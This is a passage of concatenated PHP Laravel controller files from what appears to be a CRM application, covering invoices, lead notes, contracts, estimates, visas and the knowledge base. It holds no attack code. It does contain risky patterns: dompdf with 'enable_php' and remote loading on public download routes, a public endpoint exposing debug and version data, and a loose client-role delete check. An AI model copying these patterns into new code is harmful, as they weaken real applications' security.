'yes' : 'no'; $setting->show_client_company_name = $request->has('show_client_company_name') ? 'yes' : 'no'; $setting->show_client_company_address = $request->has('show_client_company_address') ? 'yes' : 'no'; $setting->other_info = $request->other_info; if ($request->hasFile('logo')) { Files::deleteFile($setting->logo, GlobalSetting::APP_LOGO_PATH); $setting->logo = Files::uploadLocalOrS3($request->logo, GlobalSetting::APP_LOGO_PATH, width: 400); } if ($request->hasFile('authorised_signatory_signature')) { Files::deleteFile($setting->authorised_signatory_signature, GlobalSetting::APP_LOGO_PATH); $setting->authorised_signatory_signature = Files::uploadLocalOrS3($request->authorised_signatory_signature, GlobalSetting::APP_LOGO_PATH, width: 400); } $setting->save(); session()->forget('invoice_setting'); session()->forget('company'); return Reply::success(__('messages.updateSuccess')); } public function updatePrefix(UpdatePrefixSetting $request, $id) { $setting = InvoiceSetting::findOrFail($id); if (in_array('invoices', user_modules())) { $setting->invoice_prefix = $request->invoice_prefix; $setting->invoice_number_separator = $request->invoice_number_separator; $setting->invoice_digit = $request->invoice_digit; $setting->credit_note_prefix = $request->credit_note_prefix; $setting->credit_note_number_separator = $request->credit_note_number_separator; $setting->credit_note_digit = $request->credit_note_digit; } if (in_array('estimates', user_modules())) { $setting->estimate_prefix = $request->estimate_prefix; $setting->estimate_number_separator = $request->estimate_number_separator; $setting->estimate_digit = $request->estimate_digit; $setting->estimate_request_prefix = $request->estimate_request_prefix; $setting->estimate_request_number_separator = $request->estimate_request_number_separator; $setting->estimate_request_digit = $request->estimate_request_digit; } if (in_array('orders', user_modules())) { $setting->order_prefix = $request->order_prefix; $setting->order_number_separator = $request->order_number_separator; $setting->order_digit = $request->order_digit; } $setting->proposal_prefix = $request->proposal_prefix; $setting->proposal_number_separator = $request->proposal_number_separator; $setting->proposal_digit = $request->proposal_digit; $setting->save(); session()->forget('invoice_setting'); session()->forget('company'); return Reply::success(__('messages.updateSuccess')); } public function updateTemplate(UpdateTemplateSetting $request, $id) { $setting = InvoiceSetting::findOrFail($id); $setting->template = $request->template; $setting->save(); session()->forget('invoice_setting'); session()->forget('company'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/LeadNoteController.php000064400000016516150325104510014246 0ustar00pageTitle = 'app.menu.notes'; $this->middleware(function ($request, $next) { return $next($request); }); } public function index(LeadNotesDataTable $dataTable) { abort_403(!(in_array(user()->permission('view_lead_note'), ['all', 'added']))); return $dataTable->render('lead-contact.notes.index', $this->data); } public function create() { abort_403(!in_array(user()->permission('add_lead_note'), ['all', 'added', 'both'])); $this->employees = User::allEmployees(); $this->pageTitle = __('app.addLeadNote'); $this->leadId = request('lead'); $this->view = 'lead-contact.notes.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('lead-contact.create', $this->data); } public function show($id) { $this->note = LeadNote::findOrFail($id); /** @phpstan-ignore-next-line */ $this->noteMembers = $this->note->members->pluck('user_id')->toArray(); $this->employees = User::whereIn('id', $this->noteMembers)->get(); $viewClientNotePermission = user()->permission('view_lead_note'); $memberIds = $this->note->members->pluck('user_id')->toArray(); /** @phpstan-ignore-line */ abort_403(!($viewClientNotePermission == 'all' || ($viewClientNotePermission == 'added' && $this->note->added_by == user()->id) || ($viewClientNotePermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($viewClientNotePermission == 'both' && (in_array(user()->id, $memberIds) || $this->note->added_by == user()->id)) ) ); $this->pageTitle = __('app.lead') . ' ' . __('app.note'); $this->view = 'lead-contact.notes.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('lead-contact.create', $this->data); } public function store(StoreLeadNote $request) { abort_403(!in_array(user()->permission('add_lead_note'), ['all', 'added', 'both'])); $this->employees = User::allEmployees(); $note = new LeadNote(); $note->title = $request->title; $note->lead_id = $request->lead_id; $note->details = $request->details; $note->type = $request->type; $note->ask_password = $request->ask_password ? $request->ask_password : ''; $note->save(); /* if note type is private */ if ($request->type == 1) { $users = $request->user_id; if (!is_null($users)) { foreach ($users as $user) { LeadUserNote::firstOrCreate([ 'user_id' => $user, 'lead_note_id' => $note->id ]); } } } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('lead-contact.show', $note->lead_id) . '?tab=notes']); } public function edit($id) { $this->pageTitle = __('app.editLeadNote'); $this->note = LeadNote::findOrFail($id); $editClientNotePermission = user()->permission('view_lead_note'); $memberIds = $this->note->members->pluck('user_id')->toArray(); /** @phpstan-ignore-line */ abort_403(!($editClientNotePermission == 'all' || ($editClientNotePermission == 'added' && user()->id == $this->note->added_by) || ($editClientNotePermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($editClientNotePermission == 'both' && ($this->note->added_by == user()->id || in_array(user()->id, $memberIds))) )); $this->employees = User::allEmployees(); /** @phpstan-ignore-next-line */ $this->noteMembers = $this->note->members->pluck('user_id')->toArray(); $this->leadId = $this->note->lead_id; $this->view = 'lead-contact.notes.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('lead-contact.create', $this->data); } public function update(StoreLeadNote $request, $id) { $note = LeadNote::findOrFail($id); $note->title = $request->title; $note->details = $request->details; $note->type = $request->type; $note->ask_password = $request->ask_password ?: ''; $note->save(); /* if note type is private */ if ($request->type == 1) { // delete all data of this lead_note_id from lead_user_notes LeadUserNote::where('lead_note_id', $note->id)->delete(); $users = $request->user_id; if (!is_null($users)) { foreach ($users as $user) { LeadUserNote::firstOrCreate([ 'user_id' => $user, 'lead_note_id' => $note->id ]); } } } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('lead-contact.show', $note->lead_id) . '?tab=notes']); } public function destroy($id) { $this->note = LeadNote::findOrFail($id); $this->deletePermission = user()->permission('delete_lead_note'); $memberIds = $this->note->members->pluck('user_id')->toArray(); /** @phpstan-ignore-line */ abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->note->added_by == user()->id)) || ($this->deletePermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($this->deletePermission == 'both' && ($this->note->added_by == user()->id || in_array(user()->id, $memberIds))) ); $this->note->delete(); return Reply::success(__('messages.deleteSuccess')); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(!(user()->permission('delete_lead_note') == 'all')); LeadNote::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } public function askForPassword($id) { $this->note = LeadNote::findOrFail($id); return view('lead-contact.notes.verify-password', $this->data); } public function checkPassword(Request $request) { $this->client = User::findOrFail($this->user->id); if (Hash::check($request->password, $this->client->password)) { return Reply::success(__('messages.passwordMatched')); } return Reply::error(__('messages.incorrectPassword')); } } Http/Controllers/SignUpSettingController.php000064400000002470150325104510015310 0ustar00pageTitle = __('app.menu.signUpSetting'); $this->activeSettingMenu = 'sign_up_setting'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_company_setting') !== 'all'); return $next($request); }); } /** * Display a listing of the resource. */ public function index() { $this->globalSetting = GlobalSetting::first(); return view('sign-up-settings.index', $this->data); } /** * Update the specified resource in storage. */ public function update(SignUpSettingRequest $request) { $sign_up_settings = GlobalSetting::first(); $sign_up_settings->sign_up_terms = ($request->sign_up_terms == 'yes') ? 'yes' : 'no'; $sign_up_settings->terms_link = ($request->sign_up_terms == 'yes') ? $request->terms_link : null; $sign_up_settings->save(); cache()->forget('global_setting'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/TicketTypeController.php000064400000004305150325104510014631 0ustar00pageTitle = 'app.menu.ticketTypes'; $this->activeSettingMenu = 'ticket_types'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->ticketTypes = TicketType::all(); return view('ticket-settings.create-ticket-type-modal', $this->data); } /** * @param StoreTicketType $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTicketType $request) { $type = new TicketType(); $type->type = $request->type; $type->save(); $allTypes = TicketType::all(); $select = ''; foreach($allTypes as $type){ $select .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['optionData' => $select]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->type = TicketType::findOrFail($id); return view('ticket-settings.edit-ticket-type-modal', $this->data); } /** * @param UpdateTicketType $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateTicketType $request, $id) { $type = TicketType::findOrFail($id); $type->type = $request->type; $type->save(); return Reply::success(__('messages.updateSuccess')); } /** * @param int $id * @return array */ public function destroy($id) { TicketType::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/ProjectRatingController.php000064400000005710150325104510015320 0ustar00permission('add_project_rating'); abort_403(!in_array($addProjectRatingPermission, ['all', 'added', 'owned', 'both'])); $rating = new ProjectRating(); $rating->rating = $request->rating; $rating->comment = $request->comment; $rating->user_id = $this->user->id; $rating->project_id = $request->project_id; $rating->added_by = user()->id; $rating->last_updated_by = user()->id; $rating->save(); $members = $rating->project->projectMembers; event(new NewProjectEvent($rating->project, $members, 'ProjectRating')); return Reply::success(__('messages.recordSaved')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(StoreRating $request, $id) { $addProjectRatingPermission = user()->permission('edit_project_rating'); abort_403(!in_array($addProjectRatingPermission, ['all', 'added', 'owned', 'both'])); $rating = ProjectRating::findOrFail($id); $rating->rating = $request->rating; $rating->comment = $request->comment; $rating->user_id = $this->user->id; $rating->project_id = $request->project_id; $rating->added_by = user()->id; $rating->last_updated_by = user()->id; $rating->save(); return Reply::success(__('messages.updateSuccess')); } public function destroy(Request $request, $id) { $deleteRatingPermission = user()->permission('delete_project_rating'); $rating = ProjectRating::findOrFail($id); $memberIds = $rating->project->members->pluck('user_id')->toArray(); abort_403( !(is_null($rating->project->deleted_at) && $deleteRatingPermission == 'all' || ($deleteRatingPermission == 'added' && $rating->project->rating->added_by == user()->id) || ($deleteRatingPermission == 'owned' && (in_array(user()->id, $memberIds) || $rating->project->client_id == user()->id)) || ($deleteRatingPermission == 'both' && (in_array(user()->id, $memberIds) || $rating->project->client_id == user()->id || $rating->project->rating->added_by == user()->id)) || in_array('client', user_roles())) ); ProjectRating::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/EmployeeVisaController.php000064400000007500150325104510015146 0ustar00pageTitle = __('modules.employees.visaDetails'); $this->middleware(function ($request, $next) { abort_403(!in_array('employees', $this->user->modules)); return $next($request); }); } public function index() { return redirect()->route('employees.index'); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->countries = countries(); return view('employees.ajax.create-visa-modal', $this->data); } public function store(StoreVisaRequest $request) { $visa = new VisaDetail(); $userId = request()->emp_id; $visa->visa_number = $request->visa_number; $visa->user_id = $userId; $visa->company_id = company()->id; $visa->issue_date = Carbon::createFromFormat($this->company->date_format, $request->issue_date); $visa->expiry_date = Carbon::createFromFormat($this->company->date_format, $request->expiry_date); $visa->added_by = user()->id; $visa->country_id = $request->country; if($request->has('file')) { $visa->file = Files::uploadLocalOrS3($request->file, VisaDetail::FILE_PATH); } $visa->save(); return Reply::success(__('messages.recordSaved')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->visa = VisaDetail::findOrFail($id); $this->view = 'employees.ajax.visa'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('employees.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->countries = countries(); $this->visa = VisaDetail::findOrFail($id); return view('employees.ajax.edit-visa-modal', $this->data); } public function update(UpdateVisaRequest $request, $id) { $visa = VisaDetail::findOrFail($id); $visa->visa_number = $request->visa_number; $visa->issue_date = Carbon::createFromFormat($this->company->date_format, $request->issue_date); $visa->expiry_date = Carbon::createFromFormat($this->company->date_format, $request->expiry_date); $visa->country_id = $request->country; if($request->file_delete == 'yes') { Files::deleteFile($visa->image, VisaDetail::FILE_PATH); $visa->file = null; } if($request->has('file')) { Files::deleteFile($visa->image, VisaDetail::FILE_PATH); $visa->file = Files::uploadLocalOrS3($request->file, VisaDetail::FILE_PATH); } $visa->save(); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $visa = VisaDetail::findOrFail($id); Files::deleteFile($visa->file, VisaDetail::FILE_PATH); $visa->destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/ProjectTemplateMemberController.php000064400000006530150325104510017000 0ustar00pageTitle = 'app.menu.projects'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $id = request('id'); $this->project = ProjectTemplate::findOrFail($id); $this->employees = User::doesntHave('templateMember', 'and', function ($query) use ($id) { $query->where('project_template_id', $id); }) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'users.image') ->where('roles.name', 'employee') ->groupBy('users.id') ->get(); $this->groups = Team::all(); $this->projectId = $id; return view('project-templates.project-member.create', $this->data); } /** * @param StoreProjectMembers $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreProjectMembers $request) { $users = $request->user_id; foreach ($users as $user) { $member = new ProjectTemplateMember(); $member->user_id = $user; $member->project_template_id = $request->project_id; $member->save(); } return Reply::success(__('messages.recordSaved')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $projectMember = ProjectTemplateMember::findOrFail($id); $projectMember->delete(); return Reply::success(__('messages.memberRemovedFromProject')); } public function storeGroup(SaveGroupMembers $request) { foreach ($request->group_id as $group) { $members = EmployeeDetails::join('users', 'users.id', '=', 'employee_details.user_id') ->where('employee_details.department_id', $group) ->where('users.status', 'active') ->select('employee_details.*') ->get(); foreach ($members as $user) { $check = ProjectTemplateMember::where('user_id', $user->user_id)->where('project_template_id', $request->project_id)->first(); if (is_null($check)) { $member = new ProjectTemplateMember(); $member->user_id = $user->user_id; $member->project_template_id = $request->project_id; $member->save(); } } } return Reply::success(__('messages.recordSaved')); } } Http/Controllers/FileController.php000064400000001015150325104510013416 0ustar00replace('_masked.png', '')->__toString(); $decrypted = Common::encryptDecrypt($path, 'decrypt'); return response()->redirectTo(asset_url_local_s3($decrypted)); } catch (\Exception $e) { abort(404); } } } Http/Controllers/PublicUrlController.php000064400000040330150325104510014443 0ustar00withoutGlobalScope(ActiveScope::class) ->firstOrFail()->withCustomFields(); $company = $contract->company; $invoiceSetting = $contract->company->invoiceSetting; $fields = []; $getCustomFieldGroupsWithFields = $contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } return view('contract', [ 'contract' => $contract, 'company' => $company, 'pageTitle' => $pageTitle, 'pageIcon' => $pageIcon, 'invoiceSetting' => $invoiceSetting, 'fields' => $fields ]); } public function contractSign(SignRequest $request, $id) { $this->contract = Contract::with('signature')->findOrFail($id); $this->company = $this->contract->company; $this->invoiceSetting = $this->contract->company->invoiceSetting; if ($this->contract && $this->contract->signature) { return Reply::error(__('messages.alreadySigned')); } $sign = new ContractSign(); $sign->company_id = $this->company->id; $sign->full_name = $request->first_name . ' ' . $request->last_name; $sign->contract_id = $this->contract->id; $sign->email = $request->email; $sign->place = $request->place; $sign->date = now(); $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('contract/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/contract/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'contract/sign', $this->company->id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'contract/sign', 300); } } $sign->signature = $imageName; $sign->save(); event(new ContractSignedEvent($this->contract, $sign)); return Reply::redirect(route('contracts.show', $this->contract->id)); } public function contractDownload($id) { $contract = Contract::where('hash', $id)->firstOrFail()->withCustomFields(); $company = $contract->company; $fields = []; $getCustomFieldGroupsWithFields = $contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->invoiceSetting = $contract->company->invoiceSetting; $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $pdf->loadView('contracts.contract-pdf', ['contract' => $contract, 'company' => $company, 'fields' => $fields, 'invoiceSetting' => $this->invoiceSetting]); $filename = 'contract-' . $contract->id; return $pdf->download($filename . '.pdf'); } public function estimateView($hash) { $estimate = Estimate::with('client', 'clientdetails', 'clientdetails.user.country', 'unit')->where('hash', $hash)->firstOrFail(); $company = $estimate->company; $defaultAddress = $company->defaultAddress; $pageTitle = $estimate->estimate_number; $pageIcon = 'icon-people'; $this->discount = 0; if ($estimate->discount > 0) { if ($estimate->discount_type == 'percent') { $this->discount = (($estimate->discount / 100) * $estimate->sub_total); } else { $this->discount = $estimate->discount; } } $taxList = array(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $estimate->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $taxes = $taxList; $this->invoiceSetting = $company->invoiceSetting; return view('estimate', [ 'estimate' => $estimate, 'taxes' => $taxes, 'company' => $company, 'discount' => $this->discount, 'pageTitle' => $pageTitle, 'pageIcon' => $pageIcon, 'invoiceSetting' => $this->invoiceSetting, 'defaultAddress' => $defaultAddress ]); } public function estimateAccept(EstimateAcceptRequest $request, $id) { DB::beginTransaction(); $estimate = Estimate::with('sign')->findOrFail($id); $company = $estimate->company; /** @phpstan-ignore-next-line */ if ($estimate && $estimate->sign) { return Reply::error(__('messages.alreadySigned')); } $accept = new AcceptEstimate(); $accept->company_id = $estimate->company->id; $accept->full_name = $request->first_name . ' ' . $request->last_name; $accept->estimate_id = $estimate->id; $accept->email = $request->email; $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('estimate/accept'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/estimate/accept/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'estimate/accept', $estimate->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'estimate/accept/', 300); } } $accept->signature = $imageName; $accept->save(); $estimate->status = 'accepted'; $estimate->saveQuietly(); $invoice = new Invoice(); $invoice->company_id = $company->id; $invoice->client_id = $estimate->client_id; $invoice->issue_date = now($company->timezone)->format('Y-m-d'); $invoice->due_date = now($company->timezone)->addDays($company->invoiceSetting->due_after)->format('Y-m-d'); $invoice->sub_total = round($estimate->sub_total, 2); $invoice->discount = round($estimate->discount, 2); $invoice->discount_type = $estimate->discount_type; $invoice->total = round($estimate->total, 2); $invoice->currency_id = $estimate->currency_id; $invoice->note = trim_editor($estimate->note); $invoice->status = 'unpaid'; $invoice->estimate_id = $estimate->id; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->save(); /** @phpstan-ignore-next-line */ foreach ($estimate->items as $item) : if (!is_null($item)) { $invoiceItem = InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary ?: '', 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => round($item->unit_price, 2), 'amount' => round($item->amount, 2), 'taxes' => $item->taxes ] ); $estimateItemImage = $item->estimateItemImage; if(!is_null($estimateItemImage)) { $file = new InvoiceItemImage(); $file->invoice_item_id = $invoiceItem->id; $fileName = Files::generateNewFileName($estimateItemImage->filename); Files::copy(EstimateItemImage::FILE_PATH . '/' . $estimateItemImage->item->id . '/' . $estimateItemImage->hashname, InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/' . $fileName); $file->filename = $estimateItemImage->filename; $file->hashname = $fileName; $file->size = $estimateItemImage->size; $file->save(); } } endforeach; // Log search $this->logSearchEntry($invoice->id, $invoice->invoice_number, 'invoices.show', 'invoice'); DB::commit(); return Reply::success(__('messages.estimateSigned')); } public function estimateDecline(Request $request, $id) { $estimate = Estimate::findOrFail($id); $estimate->status = 'declined'; $estimate->saveQuietly(); return Reply::dataOnly(['status' => 'success']); } public function estimateDownload($id) { $this->estimate = Estimate::with('client', 'clientdetails')->where('hash', $id)->firstOrFail(); $this->invoiceSetting = $this->estimate->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->estimate = Estimate::where('hash', $id)->firstOrFail(); $this->company = $this->estimate->company; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $this->discount = 0; if ($this->estimate->discount > 0) { if ($this->estimate->discount_type == 'percent') { $this->discount = (($this->estimate->discount / 100) * $this->estimate->sub_total); } else { $this->discount = $this->estimate->discount; } } $taxList = array(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $this->estimate->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); $pdf->loadView('estimates.pdf.' . $this->invoiceSetting->template, $this->data); $filename = $this->estimate->estimate_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function checkEnv() { $plugins = Module::all(); /* @phpstan-ignore-line */ $updateArray = []; $updateArrayEnabled = []; foreach ($plugins as $key => $plugin) { $modulePath = $plugin->getPath(); $version = trim(File::get($modulePath . '/version.txt')); if ($plugin->isEnabled()) { $updateArrayEnabled[$key] = $version; } $updateArray[$key] = $version; } $smtpVerified = SmtpSetting::value('verified'); return [ 'app' => config('froiden_envato.envato_product_name'), 'redirect_https' => config('app.redirect_https'), 'version' => trim(File::get('version.txt')), 'debug' => config('app.debug'), 'queue' => config('queue.default'), 'php' => phpversion(), 'environment' => app()->environment(), 'smtp_verified' => $smtpVerified, 'all_modules' => $updateArray, 'modules_enabled' => $updateArrayEnabled, ]; } } Http/Controllers/ContractDiscussionController.php000064400000011031150325104510016357 0ustar00pageTitle = 'app.menu.contracts'; $this->middleware(function ($request, $next) { abort_403(!in_array('contracts', $this->user->modules)); return $next($request); }); } public function store(StoreDiscussionRequest $request) { $this->addPermission = user()->permission('add_contract_discussion'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->userId = UserService::getUserId(); $this->cId = []; if (in_array('client', user_roles()) && user()->is_client_contact == null) { $this->cId = ClientContact::where('user_id', user()->id)->pluck('client_id')->toArray(); } $contractDiscussion = new ContractDiscussion(); $contractDiscussion->from = $this->userId; $contractDiscussion->message = $request->comment; $contractDiscussion->contract_id = $request->contract_id; $contractDiscussion->save(); $this->discussions = ContractDiscussion::with('user')->where('contract_id', $request->contract_id)->orderByDesc('id')->get(); $view = view('contracts.discussions.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } public function edit($id) { $this->comment = ContractDiscussion::with('user')->findOrFail($id); $this->editPermission = user()->permission('edit_contract_discussion'); $this->userId = UserService::getUserId(); $this->cId = []; if (in_array('client', user_roles()) && user()->is_client_contact == null) { $this->cId = ClientContact::where('user_id', user()->id)->pluck('client_id')->toArray(); } abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->comment->added_by == user()->id || $this->comment->added_by == $this->userId || in_array($this->comment->added_by, $this->cId))))); return view('contracts.discussions.edit', $this->data); } public function update(UpdateDiscussionRequest $request, $id) { $comment = ContractDiscussion::findOrFail($id); $this->editPermission = user()->permission('edit_contract_discussion'); $this->userId = UserService::getUserId(); $this->cId = []; if (in_array('client', user_roles()) && user()->is_client_contact == null) { $this->cId = ClientContact::where('user_id', user()->id)->pluck('client_id')->toArray(); } abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && ($comment->added_by == user()->id || $comment->added_by == $this->userId || in_array($comment->added_by, $this->cId))))); $comment->message = $request->comment; $comment->save(); $this->discussions = ContractDiscussion::with('user')->where('contract_id', $comment->contract_id)->orderByDesc('id')->get(); $view = view('contracts.discussions.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } /** * @param int $id * @return mixed|void */ public function destroy($id) { $comment = ContractDiscussion::findOrFail($id); $this->deletePermission = user()->permission('delete_contract_discussion'); $this->userId = UserService::getUserId(); $this->cId = []; if (in_array('client', user_roles()) && user()->is_client_contact == null) { $this->cId = ClientContact::where('user_id', user()->id)->pluck('client_id')->toArray(); } abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && ($comment->added_by == user()->id || $comment->added_by == $this->userId || in_array($comment->added_by, $this->cId))))); $comment_contract_id = $comment->contract_id; $comment->delete(); $this->discussions = ContractDiscussion::with('user')->where('contract_id', $comment_contract_id)->orderByDesc('id')->get(); $view = view('contracts.discussions.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } Http/Controllers/KnowledgeBaseController.php000064400000020167150325104510015262 0ustar00pageTitle = 'app.menu.knowledgebase'; $this->middleware(function ($request, $next) { abort_403(!in_array('knowledgebase', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $viewPermission = user()->permission('view_knowledgebase'); abort_403(!in_array($viewPermission, ['all', 'added'])); $this->categories = KnowledgeBaseCategory::with('knowledgebase')->get(); $this->knowledgebases = KnowledgeBase::with('knowledgebasecategory'); if (!in_array('admin', user_roles())) { $this->knowledgebases = $this->knowledgebases->where('to', in_array('client', user_roles()) ? 'client' : 'employee'); // Show only those records which has knowledgebase means do not show categories that // Does not belong to them $this->categories = KnowledgeBaseCategory::with('knowledgebase')->whereHas('knowledgebase')->get(); } if (request()->id != '') { $category = KnowledgeBaseCategory::findOrFail(request('id')); $this->activeMenu = str_replace(' ', '_', $category->name); $this->knowledgebases = $this->knowledgebases->where('category_id', request('id')); } else { $this->activeMenu = 'all_category'; } $this->knowledgebases = $this->knowledgebases->get(); return view('knowledge-base.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($id = null) { $this->addPermission = user()->permission('add_knowledgebase'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->pageTitle = __('modules.knowledgeBase.addknowledgebase'); $knowledgeBase = new KnowledgeBase(); $this->knowledgeBase = $knowledgeBase->appends; $this->categories = KnowledgeBaseCategory::all(); $this->selected_category_id = $id; if (request('category') != '') { $this->selected_category_id = request('category'); } if (request()->ajax()) { $html = view('knowledge-base.ajax.create', $this->data)->render(); return 